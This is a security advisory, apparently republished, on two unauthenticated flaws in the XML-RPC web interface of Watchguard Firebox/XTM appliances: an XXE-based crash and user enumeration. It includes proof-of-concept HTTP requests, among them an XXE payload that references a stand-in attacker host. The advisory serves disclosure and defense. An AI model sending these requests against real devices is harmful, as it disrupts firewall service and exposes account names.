Watchguard Firebox / XTM XXE Injection

2017-04-18 / 2017-04-23
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Watchguardas Firebox and XTM are a series of enterprise grade network security appliances providing advanced security services like next generation firewall, intrusion prevention, malware detection and blockage and others. Two vulnerabilities were discovered affecting the XML-RPC interface of the Web UI used to manage Fireware, the operating system running on Watchguard Firebox and XTM appliances. To exploit any of the flaws discovered, no authentication on the Web UI is needed. --------------------------------------------------------------------------- --------------------------------------------------------------------------- XML-RPC External Entity Expansion DoS Credit David Fernandez of Sidertia Solutions Versions Affected Fireware v11.9 version was found to be vulnerable and vendor confirmed v11.12 Update 1 (latest when we reported to vendor) was vulnerable as well. CVE Reference As far as we know, no CVE has been requested for this vulnerability. Vendor assigned internal id 92867 to vulnerability and will release a knowledge Base article following this advisory. Vendor Fix Vendor fixed the vulnerability in their v11.12.2 release. Vulnerability Type Denial of service. Description While attempting to abuse the XML parser of the interface by mean of External Entity Expansion (XXE) attacks, we discovered that after repetitive attempts the XML-RPC agent crashes causing a severe disruption in the functionality and performance of the device. Impact On Fireware version v11.9, after a discrete number of injection attempts, the XML-RPC agent (wgagent) crashes and is not able to recover, causing a lockout in the Web UI which will be unavailable for ten minutes, thus making impossible to manage the firewall. Besides that, it causes either service interrupt or a serious degradation in performance in connections traversing the firewall (for example, RDP clients were unable to connect or did it in slow connection mode). On Fireware version v11.12 Update 1, the agent recovers correctly after each crash, although by continuously executing the XXE attacks the negative effects on the device are the same than the ones observed in v11.9. Proof of concept Below is an example of one of the requests that, after several attempts, causes a crash in the XML-RPC agent: POST /agent/login HTTP/1.1 Host: fireware-host:4100 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch, br Accept-Language: es,en;q=0.8,ca;q=0.6 Cookie: sessionid=dasdasdas Content-Length: 268 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE methodCall [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/ resource=https://evil.site/index.php?content=testXXE"> ]> <methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>&xxe;</string></value></member><member><name>user</name><value><string>admin</string></value></member></struct></value></param></params></methodCall> Links https://www.sidertia.com/Home/Community/Blog/2017/04/17/Fixed-the-Fireware-Vulnerabilities-discovered-by-Sidertia --------------------------------------------------------------------------- --------------------------------------------------------------------------- XML-RPC User Enumeration Credit David Fernandez of Sidertia Solutions Versions Affected Fireware v11.9 version was found to be vulnerable and vendor confirmed v11.12 Update 1 (latest when we reported to vendor) was vulnerable as well. CVE Reference As far as we know, no CVE has been requested for this vulnerability. Vendor assigned internal id 92884 to vulnerability and will release a knowledge base article following this advisory. Vendor Fix Vendor fixed the vulnerability in their v11.12.1 release. Vulnerability Type Information disclosure Description When a login attempt is made directly over the login endpoint of the XML-RPC interface using a blank password, we discovered the response from the device was different for valid users in Web UI than for non-existing ones. Impact The flaw allows to enumerate existing users in the management interface of the device. The Web UI allows to use as user repository an internal database (Firebox-DB), Active Directory or a Radius server, although this flaw was only tested authenticating against Firebox-DB. Proof of concept Below is a request for an existing user login attempt with blank password in Firebox-DB: POST /login HTTP/1.1 Host: fireware-host:4100 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch, br Accept-Language: es,en;q=0.8,ca;q=0.6 Cookie: sessionid=dasdasdas Content-Length: 268 Content-Type: application/xml <methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string></string></value></member><member><name>user</name><value><string>admin</string></value></member></struct></value></param></params></methodCall> Which will answer with a 200 OK with no body content for an existing user and with a 200 OK with an XML message (Invalid Credentials) in case it does not. Links https://www.sidertia.com/Home/Community/Blog/2017/04/17/Fixed-the-Fireware-Vulnerabilities-discovered-by-Sidertia

References:

https://www.sidertia.com/Home/Community/Blog/2017/04/17/Fixed-the-Fireware-Vulnerabilities-discovered-by-Sidertia


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